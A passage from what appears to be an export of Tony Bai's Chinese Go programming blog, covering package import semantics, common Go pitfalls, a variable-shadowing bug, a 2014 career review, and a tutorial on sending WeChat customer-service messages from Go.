$GOPATH)\n找不到fmt包了。显然标准库在编译时也是必须要源码的。不过与自定义包不同的是，即便你修改了fmt包的源码（未重新编译GO安装包），用户源码编译时，也不会尝试重新编译fmt包的，依旧只是在链接时链接已经编译好的fmt.a。通过下面的gc输出可以验证这点：\n$go build -x -v ./\nWORK=/var/folders/2h/xr2tmnxx6qxc4w4w13m01fsh0000gn/T/go-build773440756\napp1\nmkdir -p $WORK/app1/_obj/\nmkdir -p $WORK/app1/_obj/exe/\ncd /Users/tony/Test/Go/pkgtest/src/app1\n/Users/tony/.Bin/go14/pkg/tool/darwin_amd64/6g -o $WORK/app1.a -trimpath $WORK -p app1 -complete -D _/Users/tony/Test/Go/pkgtest/src/app1 -I $WORK -pack ./main.go\ncd .\n/Users/tony/.Bin/go14/pkg/tool/darwin_amd64/6l -o $WORK/app1/_obj/exe/a.out -L $WORK -extld=clang $WORK/app1.a\nmv $WORK/app1/_obj/exe/a.out app1\n可以看出，编译器的确并未尝试编译标准库中的fmt源码。\n二、目录名还是包名？\n从第一节的实验中，我们得知了编译器在编译过程中依赖的是包源码的路径，这为后续的实验打下了基础。下面我们再来看看，Go语言中import后面路径中最后的一个元素到底是包名还是路径名？\n本次实验目录结构：\n$GOPATH\nsrc/\nlibproj2/\nfoo/\nfoo1.go\napp2/\nmain.go\n按照Golang语言习惯，一个go package的所有源文件放在同一个目录下，且该目录名与该包名相同，比如libproj1/foo目录下的package为foo，foo1.go、 foo2.go…共同组成foo package的源文件。但目录名与包名也可以不同，我们就来试试不同的。\n我们建立libproj2/foo目录，其中的foo1.go代码如下：\n//foo1.go\npackage bar\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc Bar1() {\nfmt.Println(\u0026ldquo;Bar1\u0026rdquo;)\n}\n注意：这里package名为bar，与目录名foo完全不同。\n接下来就给app2带来了难题：该如何import bar包呢？\n我们假设import路径中的最后一个元素是包名，而非路径名。\n//app2/main.go\npackage main\nimport (\n\u0026ldquo;libproj2/bar\u0026rdquo;\n)\nfunc main() {\nbar.Bar1()\n}\n编译app2：\n$go build -x -v app2\nWORK=/var/folders/2h/xr2tmnxx6qxc4w4w13m01fsh0000gn/T/go-build736904327\nmain.go:5:2: cannot find package \u0026ldquo;libproj2/bar\u0026rdquo; in any of:\n/Users/tony/.Bin/go14/src/libproj2/bar (from $GOROOT)\n/Users/tony/Test/Go/pkgtest/src/libproj2/bar (from $GOPATH)\n编译失败，在两个路径下无法找到对应libproj2/bar包。\n我们的假设错了，我们把它改为路径：\n//app2/main.go\npackage main\nimport (\n\u0026ldquo;libproj2/foo\u0026rdquo;\n)\nfunc main() {\nbar.Bar1()\n}\n再编译执行：\n$go build app2\n$app2\nBar1\n这回编译顺利通过，执行结果也是OK的。这样我们得到了结论：(3)import后面的最后一个元素应该是路径，就是目录，并非包名。\ngo编译器在这些路径(libproj2/foo)下找bar包。这样看来，go语言的惯例只是一个特例，即恰好目录名与包名一致罢了。也就是说下面例子中的两个foo含义不同：\nimport \u0026ldquo;libproj1/foo\u0026rdquo;\nfunc main() {\nfoo.Foo()\n}\nimport中的foo只是一个文件系统的路径罢了。而下面foo.Foo()中的foo则是包名。而这个包是在libproj1/foo目录下的源码中找到的。\n再类比一下标准库包fmt。\nimport \u0026ldquo;fmt\u0026rdquo;\nfmt.Println(\u0026ldquo;xxx\u0026rdquo;)\n这里上下两行中虽然都是“fmt\u0026rdquo;，但同样含义不同，一个是路径 ，对于标准库来说，是$GOROOT/src/fmt这个路径。而第二行中的fmt则是包名。gc会在$GOROOT/src/fmt路径下找到fmt包的源文件。\n三、import m \u0026ldquo;lib/math\u0026rdquo;\nGo language specification中关于import package时列举的一个例子如下：\nImport declaration Local name of Sin\nimport \u0026ldquo;lib/math\u0026rdquo; math.Sin\nimport m \u0026ldquo;lib/math\u0026rdquo; m.Sin\nimport . \u0026ldquo;lib/math\u0026rdquo; Sin\n我们看到import m \u0026ldquo;lib/math\u0026rdquo; m.Sin一行。我们说过lib/math是路径，import语句用m替代lib/math，并在代码中通过m访问math包中的导出函数Sin。\n那m到底是包名还是路径呢？既然能通过m访问Sin，那m肯定是包名了，Right！那import m \u0026ldquo;lib/math\u0026quot;该如何理解呢？\n根据上面一、二两节中得出的结论，我们尝试理解一下m：(4)m指代的是lib/math路径下唯一的那个包。\n一个目录下是否可以存在两个包呢？我们来试试。\n我们在libproj1/foo下新增一个go源文件，bar1.go：\npackage bar\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc Bar1() {\nfmt.Println(\u0026ldquo;Bar1\u0026rdquo;)\n}\n我们重新构建一下这个目录下的包：\n$go build libproj1/foo\ncan\u0026rsquo;t load package: package libproj1/foo: found packages bar1.go (bar) and foo1.go (foo) in /Users/tony/Test/Go/pkgtest/src/libproj1/foo\n我们收到了错误提示，编译器在这个路径下发现了两个包，这是不允许的。\n我们再作个实验，来验证我们对m含义的解释。\n我们建立app3目录，其main.go的源码如下：\n//main.go\npackage main\nimport m \u0026ldquo;libproj2/foo\u0026rdquo;\nfunc main() {\nm.Bar1()\n}\nlibproj2/foo路径下的包的包名为bar，按照我们的推论，m指代的就是bar这个包，通过m我们可以访问bar的Bar1导出函数。\n编译并执行上面main.go：\n$go build app3\n$app3\nBar1\n执行结果与我们推论完全一致。\n附录：6g, 6l文档位置：\n6g – $GOROOT/src/cmd/gc/doc.go\n6l – $GOROOT/src/cmd/ld/doc.go\n","permalink":"https://tonybai.com/2015/03/09/understanding-import-packages/","summary":"\u003cp\u003e\u003ca href=\"http://golang.org/\"\u003eGolang\u003c/a\u003e使用包（package）这种语法元素来组织源码，所有语法可见性均定义在package这个级别，与Java 、python等语言相比，这算不上什么创新，但与C传统的include相比，则是显得“先进”了许多。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://tonybai.com/tag/golang\"\u003eGolang\u003c/a\u003e中包的定义和使用看起来十分简单：\u003c/p\u003e\n\u003cp\u003e通过package关键字定义包：\u003c/p\u003e\n\u003cp\u003epackage xxx\u003c/p\u003e\n\u003cp\u003e使用import关键字，导入要使用的标准库包或第三方依赖包。\u003c/p\u003e","title":"理解Golang包导入"},{"content":"这两周来业余时间都在用Golang写代码，现在处于这样一个状态：除了脚本，就是Golang了。反正能用golang实现的，都用golang写。\nGolang语言相对成熟了，但真正写起来，还是要注意一些“坑”的，下面是这周遇到的三个问题，这里分享出来，希望能对遇到同样问题的童鞋有所帮助。\n一、误用定时器，狂占CPU\ngolang中有一个通过channel实现timeout或tick timer的非常idiomatic的方法，代码如下：\nfunc worker(start chan bool) {\nfor {\ntimeout := time.After(30 * time.Second)\nselect {\n// … do some stuff\ncase \u0026lt;- timeout:\nreturn\n}\n}\n}\nfunc worker(start chan bool) {\nfor {\nheartb****eat := time.Tick(30 * time.Second)\nselect {\n// … do some stuff\ncase \u0026lt;- heartbeat:\nreturn\n}\n}\n}\n没错，就像上面这两个例子，如果你单独执行它们，你不会发现任何问题，但是当你将这样的代码放到一个7 * 24小时的Service中，并且timeout间隔或heartbeat间隔为更短时间，比如1s时，问题就出现了。\n我的程序最初就是用上面的代码实现了一个timewheel，通过放置在一个单独goroutine中的定时器检测timewheel是否有到期的 timer。程序跑在后台运行的很好，直到有一天晚上我无意中执行了一下top，我发现这个service居然站用了40%多的CPU负荷。最初我怀疑是 不是代码中有死循环，但仔细巡查一遍代码后，没有发现死循环的痕迹，算法逻辑也没问题。\n于是重启了一下这个service，发现cpu占用降了下来。出去去了趟卫生间，回来继续用top观察，不好，这个service占用了1%的CPU，再 过一会升到2%，观察一段时间后，发现这个service对cpu的占用率随着时间的推移而增加。gdb attach了相应的进程号，stack多是go runtime的调度。\n再次回到代码，发现可能存在问题的只有这里的tick。我的tick间隔是1s。这样每1s都会创建一个runtime timer，而通过runtime的源码来看，这些timer都扔给了runtime调度(一个heap)。时间长了，就会有超多的timer需要 runtime调度，不耗CPU才怪。\n于是做了如下修改：\nfunc worker(start chan bool) {\n**heartbeat := time.Tick(**1 * time.Second)\nfor {\nselect {\n// … do some stuff\ncase \u0026lt;- heartbeat:\nreturn\n}\n}\n}\n重新编译执行service，观察了一天，cpu再也没有升高过。\n二、小心list.List的Dele****te逻辑\n其实这是一个在哪种语言中都会遇到的初级问题，这里只是给大家提个醒罢了。不多说了，上代码：\n从一个list.List中删除一个element，一般逻辑是：\nl := list.New()\n… …\nfor e := l.Front(); e != nil; e = e.Next() {\nif e.Value.(int) == someValue {\nl.Remove(e)\nreturn or break\n}\n}\n但是如果list里有重复元素，且代码要遍历整个list删除某个值为somevalue的元素呢？上面的一般方法是由逻辑缺陷的，例子：\nfunc foo(i int) {\nl := list.New()\nfor i := 0; i \u0026lt; 9; i++ {\nl.PushBack(i)\n}\nl.PushBack(6)\nfor e := l.Front(); e != nil; e = e.Next() {\nfmt.Print(e.Value.(int))\n}\nfor e := l.Front(); e != nil; e = e.Next() {\nif e.Value.(int) == i {\nl.Remove(e)\n}\n}\nfmt.Printf(\u0026quot;\\n\u0026quot;)\nfor e := l.Front(); e != nil; e = e.Next() {\nfmt.Print(e.Value.(int))\n}\nfmt.Printf(\u0026quot;\\n\u0026quot;)\n}\nfunc main() {\nfoo(6)\n}\n该程序试图删除list中的所有值为6的element，但执行结果却是：\ngo run testlist.go\n0123456786\n012345786\nlist中尾部的那个6没有被删除，程序似乎在删除完第一个6之后就不再继续循环了。事实也是这样：\n当l.Remove(e)执行后，e.Next()被置为了nil，这样循环条件不再满足，循环终止。\n为此，对于这样的程序，下面的方法才是正确的：\nfunc main() {\nbar(6)\n}\nfunc bar(i int) {\nl := list.New()\nfor i := 0; i \u0026lt; 9; i++ {\nl.PushBack(i)\n}\nl.PushBack(6)\nfor e := l.Front(); e != nil; e = e.Next() {\nfmt.Print(e.Value.(int))\n}\nvar next *list.Element\nfor e := l.Front(); e != nil; {\nif e.Value.(int) == i {\nnext = e.Next()\nl.Remove(e)\ne = next\n} else {\ne = e.Next()\n}\n}\nfmt.Printf(\u0026quot;\\n\u0026quot;)\nfor e := l.Front(); e != nil; e = e.Next() {\nfmt.Print(e.Value.(int))\n}\nfmt.Printf(\u0026quot;\\n\u0026quot;)\n}\n执行结果：\n$ go run testlist.go\n0123456786\n01234578\n三、要给template起个正确的名字\n编写一个Web程序，需要用到html/template。\n… …\nt := template.New(\u0026ldquo;My Reporter\u0026rdquo;)\nt, err = t.ParseFiles(\u0026ldquo;views/report.html\u0026rdquo;)\nif err != nil {\nw.WriteHeader(http.StatusInternalServerError)\nreturn\n}\nt.Execute(w, UserInfo{xx: XX})\n结果一执行却crash了：\n[martini] PANIC: runtime error: invalid memory address or nil pointer dereference\n/usr/local/go/src/runtime/panic.go:387 (0×16418)\n/usr/local/go/src/runtime/panic.go:42 (0x1573e)\n/usr/local/go/src/runtime/sigpanic_unix.go:26 (0x1bb50)\n/usr/local/go/src/html/template/template.go:59 (0x7ed64)\n/usr/local/go/src/html/template/template.go:75 (0x7ef0d)\n/Users/tony/Test/GoToolsProjects/src/git.oschina.net/bigwhite/web/app.go:104 (0x2db0)\nreportHandler: t.Execute(w, UserInfo{xx: XXX})\n问题在t.Execute这行，单独把template代码摘出来放在一个测试代码中:\n//testtmpl.go\ntype UserInfo struct {\nName string\n}\nfunc main() {\nt := template.New(\u0026ldquo;My Reporter\u0026rdquo;)\nt, err := t.ParseFiles(\u0026ldquo;views/report.html\u0026rdquo;)\nif err != nil {\nfmt.Println(\u0026ldquo;parse error\u0026rdquo;)\nreturn\n}\nerr = t.Execute(os.Stdout, UserInfo{Name: \u0026ldquo;tonybai\u0026rdquo;})\nif err != nil {\nfmt.Println(\u0026ldquo;exec error\u0026rdquo;, err)\n}\nreturn\n}\n执行结果：\ngo run testtmpl.go\nexec error template: My Reporter: \u0026ldquo;My Reporter\u0026rdquo; is an incomplete or empty template; defined templates are: \u0026ldquo;report.html\u0026rdquo;\n看起来似乎template对象与模板名字对不上导致的错误啊。修改一下：\nt := template.New(\u0026ldquo;report.html\u0026rdquo;)\n执行结果：\nHello, tonybai 这回对了，看来template的名字在与ParseFiles一起使用时不是随意取的，务必要与模板文件名字相同。\nParseFiles支持解析多个文件，如果是传入多个文件该咋办？godoc说了，template名字与第一个文件名相同即可。\n","permalink":"https://tonybai.com/2015/01/23/three-issues-about-go-code/","summary":"\u003cp\u003e这两周来业余时间都在用\u003ca href=\"http://tonybai.com/tag/golang\"\u003eGolang\u003c/a\u003e写代码，现在处于这样一个状态：除了脚本，就是Golang了。反正能用golang实现的，都用golang写。\u003c/p\u003e\n\u003cp\u003eGolang语言相对成熟了，但真正写起来，还是要注意\u003ca href=\"http://tonybai.com/2015/01/13/a-hole-about-variable-scope-in-golang/\"\u003e一些“坑”\u003c/a\u003e的，下面是这周遇到的三个问题，这里分享出来，希望能对遇到同样问题的童鞋有所帮助。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e一、误用定时器，狂占CPU\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003egolang中有一个通过\u003ca href=\"http://tonybai.com/2014/09/29/a-channel-compendium-for-golang/\"\u003echannel\u003c/a\u003e实现timeout或tick timer的非常idiomatic的方法，代码如下：\u003c/p\u003e","title":"近期遇到的3个Golang代码问题"},{"content":"临近下班前编写和调试一段Golang代码，但运行结果始终与期望不符，怪异的很，下班前依旧无果。代码Demo如下：\n//testpointer.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n)\nvar p *int\nfunc foo() (*int, error) {\nvar i int = 5\nreturn \u0026amp;i, nil\n}\nfunc bar() {\n//use p\nfmt.Println(*p)\n}\nfunc main() {\np, err := foo()\nif err != nil {\nfmt.Println(err)\nreturn\n}\nbar()\nfmt.Println(*p)\n}\n这段代码原意是定义一个包内全局变量p，用foo()的返回值对p进行初始化，在bar中使用p。预期结果：bar()和main()中均输出5。但编译执行后的结果却是：\n$go run testpointer.go\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal 0xb code=0x1 addr=0x0 pc=0x20d1]\ngoroutine 1 [running]:\nmain.bar()\n/Users/tony/Test/Go/testpointer.go:17 +0xd1\nmain.main()\n/Users/tony/Test/Go/testpointer.go:26 +0x11c\ngoroutine 2 [runnable]:\nruntime.forcegchelper()\n/usr/local/go/src/runtime/proc.go:90\nruntime.goexit()\n/usr/local/go/src/runtime/asm_amd64.s:2232 +0×1\ngoroutine 3 [runnable]:\nruntime.bgsweep()\n/usr/local/go/src/runtime/mgc0.go:82\nruntime.goexit()\n/usr/local/go/src/runtime/asm_amd64.s:2232 +0×1\ngoroutine 4 [runnable]:\nruntime.runfinq()\n/usr/local/go/src/runtime/malloc.go:712\nruntime.goexit()\n/usr/local/go/src/runtime/asm_amd64.s:2232 +0×1\nexit status 2\n晚饭后，继续调试这段代码。怎么还crash了！代码看似半点问题都没有，难道是Go编译器的问题，我用的可是最新的1.4，切换回1.3.3，问题依旧啊。看来还是代码的问题，但问题在哪里呢？加上些打印语句再看看：\nfunc bar() {\n//use p\nfmt.Printf(\u0026quot;%p, %T\\n\u0026quot;, p, p) //output: 0x14dc80, 0×0, *int\nfmt.Println(*p) //Crash!!!\n}\nfunc main() {\nfmt.Printf(\u0026quot;%p, %T\\n\u0026quot;, p, p) //output: 0x14dc80, 0×0, *int\np, err := foo()\nif err != nil {\nfmt.Println(err)\nreturn\n}\nfmt.Printf(\u0026quot;%p, %T\\n\u0026quot;, p, p) //output: 0x2081c6020, 0x20818a258, *int\nbar()\nfmt.Println(*p)\n}\n通过打印输出，发现从foo函数中返回的p(0x2081c6020)与全局变量的p(0x14dc80)居然不是一个地址，也就是说不是一个变量。而且 从bar()中的调试输出来看，全局变量p在foo函数返回时并未被赋值为foo中变量i的地址，而依然是一个nil值，从而导致程序Crash。\n好了，废话不说了，该是揭晓真相的时候了。问题就在于\u0026quot;:=\u0026quot;。在main这个作用域中，我们使用了\np, err := foo()\n最初的理解是golang会定义新变量err，p为初始定义的那个全局变量。但实际情况是，对于使用:=定义的变量，如果新变量p与那个同名已定义变量 (这里就是那个全局变量p)不在一个作用域中时，那么golang会新定义这个变量p，遮盖住全局变量p，这就是导致这个问题的真凶。\n我们将main函数改为：\nfunc main() {\nvar err error\np, err = foo()\nif err != nil {\nfmt.Println(err)\nreturn\n}\nbar()\n}\n则执行结果就完全符合预期了。\n","permalink":"https://tonybai.com/2015/01/13/a-hole-about-variable-scope-in-golang/","summary":"\u003cp\u003e临近下班前编写和调试一段\u003ca href=\"http://tonybai.com/tag/golang\"\u003eGolang\u003c/a\u003e代码，但运行结果始终与期望不符，怪异的很，下班前依旧无果。代码Demo如下：\u003c/p\u003e\n\u003cp\u003e//testpointer.go\u003cbr\u003e\npackage main\u003c/p\u003e\n\u003cp\u003eimport (\u003cbr\u003e\n        \u0026ldquo;fmt\u0026rdquo;\u003cbr\u003e\n)\u003c/p\u003e\n\u003cp\u003evar p *int\u003c/p\u003e\n\u003cp\u003efunc foo() (*int, error) {\u003cbr\u003e\n        var i int = 5\u003cbr\u003e\n        return \u0026amp;i, nil\u003cbr\u003e\n}\u003c/p\u003e\n\u003cp\u003efunc bar() {\u003cbr\u003e\n        //use p\u003cbr\u003e\n        fmt.Println(*p)\u003cbr\u003e\n}\u003c/p\u003e\n\u003cp\u003efunc main() {\u003cbr\u003e\n        p, err := foo()\u003cbr\u003e\n        if err != nil {\u003cbr\u003e\n                fmt.Println(err)\u003cbr\u003e\n                return\u003cbr\u003e\n        }\u003cbr\u003e\n        bar()\u003cbr\u003e\n        fmt.Println(*p)\u003cbr\u003e\n}\u003c/p\u003e\n\u003cp\u003e这段代码原意是定义一个包内全局变量p，用foo()的返回值对p进行初始化，在bar中使用p。预期结果：bar()和main()中均输出5。但编译执行后的结果却是：\u003c/p\u003e","title":"一个有关Golang变量作用域的坑"},{"content":"2014年的最后一个工作日，这里写下有关2014年的一份小结。\n年终总结本无固定格式，但写了若干年后，便有了自己的格式。但今年不打算遵循这个格式了，跳出自己的舒适区，随意写写。\n2014年12月底，随着亚航QZ8501航班的最后一掉，航空史上都为数不多的灾难年终于画上了句号，留给人们的是久久的惊恐不安，留给遇难者 家属们的是无法释怀的悲伤。2014年12月31日15点，随着A股上证指数最后一个交易日收涨68.86点，稳稳站上3200点，让广大股民们 看到了2015年牛市持续赚钱的希望。不知为何，这个世界几乎总是同时上演着冰与火两种剧本。\n短信与微信(包括其他X信)的博弈亦是如此。\n短信，这一红极一时的让移动运营商赚得盆满钵满的廉价沟通工具如今却早已成明日黄花。不妨打开手机，翻看一下你的手机通信录，短信列表中是不是除 了验证码（登录、支付业务），就是各种营销垃圾广告，或者是移动运营商自有的客服信息呢。我相信我的情况应该可以代表广大群众了。\n随着微信今年推出“企业号”，微信几乎完成了对短信的业务合围：\n点对点短信 vs. 联系人、朋友圈、群\nSP短信 vs. 订阅号、服务号\n行业短信 vs. 服务号、企业号 （营销、售后、内部OA、CRM等）\n今年年初招商银行信用卡将300以内的消费提醒短信取消，改为微信提醒，其实就是一个看高微信，看空短信的行为。只是考虑到到达率(用户未开网络时)，没 有将大额消费全部转到微信上，而是短信和微信都做提醒。一旦无线网络接入、资费门槛下降、网络速度提升、终端实时在线不再是问题，达到率也将 不是问题时，微信会对短信发起最后的总攻。\n这么对比其实也不公平，因为短信和微信本不是一个重量级的对手。从出生的那天起，微信就被赋予了崇高的使命，非短信可比。微信试图连接一切，做统 一入口，建立庞大生态圈；而短信仅仅是一个通道工具罢了。\n面对移动短信市场的衰败，移动运营商也在挣扎，也在试图翻盘，或至少平起平坐，但就我了解到的移动运营商产品开发与运营的风格，想和互联网巨头T 掰手腕，下场必输无疑。中国移动年初也蛮拼的，喊出了\u0026quot;RCS（融合通信）\u0026ldquo;与微信抢手机社交入口，但这都到了2014最后一天了，RCS依旧不见踪 影。\n短信免费或退出历史舞台就像周鸿祎在其书《周鸿祎自述：我的互联网方法论》中说的那样是“趋势”，不可违！\n而我们就是为中国移动短信业务提供服务端软件和方案的。短信若是没了(或变成鸡肋)，我们干啥？冰冷的现实摆在大家面前，领导跟我 们说：“转型”。\n2014年，至少我们依旧在转型中。老板们把“转型”依旧约束在“移动运营商”这棵大树下面，这让我们转的不那么纯粹，有些拖泥带水，可持续盈利 的业务方向并不明显。从目前来看，今年收入依旧靠传统业务渠道获得。\n虽说要“转型”，但领导今年给我的任务却是做好守门员，守住现有市场份额，保证产品线上无事。这并非如我所愿，在一个业务线耕耘多年，业务和技术 能力均到达了天花板，对我个人来说，这不是一个很好的发展规划。但考虑到下面的技术负责人、员工在技术和业务火候儿还欠缺那么一些，我答应了留 守，但会投入部分精力做个人技术转型储备。\n业务的转型需要技术做支撑，局限于传统后台服务系统的我们需要张开怀抱，拥抱那些“流行”的新玩意儿。我首先试水！从2014年我的博客中你也许 可以看得出来我试水过的技术，我在尝试跳出自己的各种舒适区，向一些近两年兴起的、将来比较有前途的技术方向靠拢，学习移动互联网的思维和潮流。\n上半年曾尝试过终端产品开发的技术，还为此购入若干数码装备，但试过后才发现这仍然不是我的主菜，就和10年前Windows GUI程序开发不是我的菜一样。但这个过程并非没有收获，未来任何业务不与终端开发打交道是不可能的，这个接触过程让我了解到了终端开发的重点和难点，于 是总结经验，整理教训。\n正当准备调整方向、重新上路之际，家里出现重大变故，耗费了我整整1个多月的时间，一切几乎都停滞了，直到10月份我才渐渐重新进入状态。\n在公司内部技术社区看到公司CTO的一篇文章，讲述移动互联网正在由消费者驱动向企业驱动转变（来自麦肯锡报告），结合微信推出企业号、用友软件的转型来 看(今天听说用友软件更名为“用友网络”了，决心向互联网转型)，这个趋势也是我比较认同的，这个方向以及相关技术也是我在正在涉猎以及即将涉猎的。不过 关于企业互联网服务以及平台，自己的相关业务经验、技术和积累还是甚少，征途必然坎坷，自己还需“拼”一下！关于微信这个平台，这个入口，它是腾讯未来战 略的核心，靠着腾讯这棵大树，至少未来几年发展应该还是不错的。\n公司的大BOSS这两年一直提倡“创业者的精神\u0026rdquo;，学会在逆境中成长，在困境中成功。但作为在短信这个行业内浸淫了十多年的部门，我们不免产生一些惰性， 更愿意躺在现有的温床上“享受生活”，立足于现有的平台做舒服的事情。经历过2014年的严峻形势，现在的我们应该清醒的认识到这样的舒服生活，温床和平 台都可能将远离我们。如果我们再不主动站起来，我们将再无力站起了。\n2014年在个人发展方面做出了“妥协”，2015我打算轻装前行，这对我、对团队成员的成长都是有好处的。年底给领导发总结时，已经和领导书面提出退出 当前业务线的想法。虽然目前还没有收到回复，不过无论怎样，我都坚定了决心，自己作为这个产品线的负责人，已经起不到领路的作用了，是时候退出了。\n2015，给自己的关键字是“创业”。《精益创业》一书中作者似乎有这样一句话：“你不一定非要在车库里折腾才算是创业”，在企业内部也可以“创业”，为创造某种新产品或新服务为目的而组建的一个团队或组织内的人都是“创业者”。\n以往年份的小结，我总会总结一些数据，比如blog文章、读过多少本书等等。但今年这些数据就不统计了，自己对自己的考核指标\u0026quot;KPI\u0026quot;有所调整，以前哪些指标已经不算数了，列出也就无意义了。\n2014这一年，LP给了我很大压力！我能理解，她期望我能取得更大的成功。这让我“亚历山大”啊，这回可是真的。\n要说新年的愿望是什么？希望2015年年末时能为自己2015年的所作所为，所取得的进步和成果点个赞！\n","permalink":"https://tonybai.com/2014/12/31/2014-summary/","summary":"\u003cp\u003e2014年的最后一个工作日，这里写下有关2014年的一份小结。\u003c/p\u003e\n\u003cp\u003e年终总结本无固定格式，但写了若干年后，便有了自己的格式。但今年不打算遵循这个格式了，跳出自己的舒适区，随意写写。\u003c/p\u003e","title":"2014小结"},{"content":"关注并使用过微信“飞常准”公众号的朋友们都有过如下体验：查询一个航班情况后，这个航班的checkin、登机、起降等信息都会在后续陆续异步发给你，这个服务就是通过微信公众平台的客服消息实现的。\n微信公众平台开发文档中关于客服消息的解释如下：“当用户主动发消息给公众号的时候（包括发送信息、点击自定义菜单、订阅事件、扫描二维码事件、支付成功 事件、用户维权），微信将会把消息数据推送给开发者，开发者在一段时间内（目前修改为48小时）可以调用客服消息接口，通过POST一个JSON数据包来 发送消息给普通用户，在48小时内不限制发送次数。此接口主要用于客服等有人工消息处理环节的功能，方便开发者为用户提供更加优质的服务”。\n这篇文章我们就来说说如何用golang实现发送文本客服消息。\n一、获取access_token\naccess_token是公众号的全局唯一票据，公众号调用微信平台各接口时都需使用access_token。我们要主动给微信平台发送客服消息，该access_token就是我们的凭证。在构造和下发客服消息前，我们需要获取这个access_token。\naccess_token的有效期为2小时（7200s），我们获取一次，两小时内均可使用。微信公众平台开发文档也给出了access_token获取、保存以及刷新的技术建议。但我们这里仅是Demo，无需考虑这么多。\n通过https GET请求，我们可以得到属于我们的access_token，请求line为：\nhttps://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential\u0026amp;appid=APPID\u0026amp;secret=APPSECRET\ngolang提供了默认的http client实现，通过默认的client实现我们可以很容器的获取access_token。\nconst (\ntoken = \u0026ldquo;wechat4go\u0026rdquo;\nappID = \u0026ldquo;wx8e0fb2659c2eexxx\u0026rdquo;\nappSecret = \u0026ldquo;22746009b0162fe50cb915851c53fyyy\u0026rdquo;\naccessTokenFetchUrl = \u0026ldquo;https://api.weixin.qq.com/cgi-bin/token\u0026quot;\n)\nfunc fetchAccessToken() (string, float64, error) {\nrequestLine := strings.Join([]string{accessTokenFetchUrl,\n\u0026ldquo;?grant_type=client_credential\u0026amp;appid=\u0026rdquo;,\nappID,\n\u0026ldquo;\u0026amp;secret=\u0026rdquo;,\nappSecret}, \u0026ldquo;\u0026rdquo;)\nresp, err := http.Get(requestLine)\nif err != nil || resp.StatusCode != http.StatusOK {\nreturn \u0026ldquo;\u0026rdquo;, 0.0, err\n}\ndefer resp.Body.Close()\nbody, err := ioutil.ReadAll(resp.Body)\nif err != nil {\nreturn \u0026ldquo;\u0026rdquo;, 0.0, err\n}\nfmt.Println(string(body))\n… …\n}\n无论成功与否，微信平台都会返回一个包含json数据的应答：\n如果获取正确，那么应答里的Json数据为：\n{\u0026ldquo;access_token\u0026rdquo;:\u0026ldquo;0QCeHwiRtPRUCiM5MM0cSPYIP5QOUNYdb8usRSgVZcsFuVF6mu3vQq41OIifJdrtJPGn7b1x90HdvUanpb7eZHxg40B6bU_Sgszh2byyF40\u0026rdquo;,\u0026ldquo;expires_in\u0026rdquo;:7200}\n如果获取错误，那么应答里的Json数据为：\n{\u0026ldquo;errcode\u0026rdquo;:40001,\u0026ldquo;errmsg\u0026rdquo;:\u0026ldquo;invalid credential\u0026rdquo;}\n和xml数据包一样，golang也提供了json格式数据包的Marshal和Unmarshal方法，且使用方式相同，也是将一个json数据包与一 个struct对应起来。从上面来看，通过http response，我们无法区分出是否成功获取了token，因此我们需要首先判断试下body中是否包含某些特征字符串，比 如\u0026quot;access_token\u0026rdquo;：\nif bytes.Contains(body, []byte(\u0026ldquo;access_token\u0026rdquo;)) {\n//unmarshal to AccessTokenResponse struct\n} else {\n//unmarshal to AccessTokenErrorResponse struct\n}\n针对获取成功以及失败的两种Json数据，我们定义了两个结构体：\ntype AccessTokenResponse struct {\nAccessToken string `json:\u0026ldquo;access_token\u0026rdquo;`\nExpiresIn float64 `json:\u0026ldquo;expires_in\u0026rdquo;`\n}\ntype AccessTokenErrorResponse struct {\nErrcode float64\nErrmsg string\n}\nJson unmarshal的代码片段如下：\n//Json Decoding\nif bytes.Contains(body, []byte(\u0026ldquo;access_token\u0026rdquo;)) {\natr := AccessTokenResponse{}\nerr = json.Unmarshal(body, \u0026amp;atr)\nif err != nil {\nreturn \u0026ldquo;\u0026rdquo;, 0.0, err\n}\nreturn atr.AccessToken, atr.ExpiresIn, nil\n} else {\nfmt.Println(\u0026ldquo;return err\u0026rdquo;)\nater := AccessTokenErrorResponse{}\nerr = json.Unmarshal(body, \u0026amp;ater)\nif err != nil {\nreturn \u0026ldquo;\u0026rdquo;, 0.0, err\n}\nreturn \u0026ldquo;\u0026rdquo;, 0.0, fmt.Errorf(\u0026quot;%s\u0026quot;, ater.Errmsg)\n}\n我们的main函数如下：\nfunc main() {\naccessToken, expiresIn, err := fetchAccessToken()\nif err != nil {\nlog.Println(\u0026ldquo;Get access_token error:\u0026rdquo;, err)\nreturn\n}\nfmt.Println(accessToken, expiresIn)\n}\n编译执行，成功获取access_token的输出如下：\n0QCeHwiRtPRUCiM5MM0cSPYIP5QOUNYdb8usRSgVZcsFuVF6mu3vQq41OIifJdrtJPGn7b1x90HdvUanpb7eZHxg40B6bU_Sgszh2byyF40 7200\n失败时，输出如下：\n2014/12/30 12:39:56 Get access_token error: invalid credential\n二、发送客服消息\n平台开发文档中定义了文本客服消息的body格式，一个json数据：\n{\n\u0026ldquo;touser\u0026rdquo;:\u0026ldquo;OPENID\u0026rdquo;,\n\u0026ldquo;msgtype\u0026rdquo;:\u0026ldquo;text\u0026rdquo;,\n\u0026ldquo;text\u0026rdquo;:\n{\n\u0026ldquo;content\u0026rdquo;:\u0026ldquo;Hello World\u0026rdquo;\n}\n}\n其中的touser填写的是openid。之前的文章中提到过，每个微信用户针对某一个订阅号/服务号都有唯一的OpenID，这个ID可以在微信订阅号 /服务号管理页面中看到，也可以在收到的微信平台转发的消息中看到(FromUserName)。比如我个人订阅的我的测试体验号后得到的OpenID 为：\nBQcwuAbKpiSAbbvd_DEZg7q27QI\n我们要做的就是构造这样一个json数据，并放入HTTP Post包中，发到：\nhttps://api.weixin.qq.com/cgi-bin/message/custom/send?access_token=ACCESS_TOKEN\n从平台开发文档给出的json数据包样例来看，这是个嵌套json数据包，我们通过下面方法marshall：\ntype CustomServiceMsg struct {\nToUser string `json:\u0026ldquo;touser\u0026rdquo;`\nMsgType string `json:\u0026ldquo;msgtype\u0026rdquo;`\nText TextMsgContent `json:\u0026ldquo;text\u0026rdquo;`\n}\ntype TextMsgContent struct {\nContent string 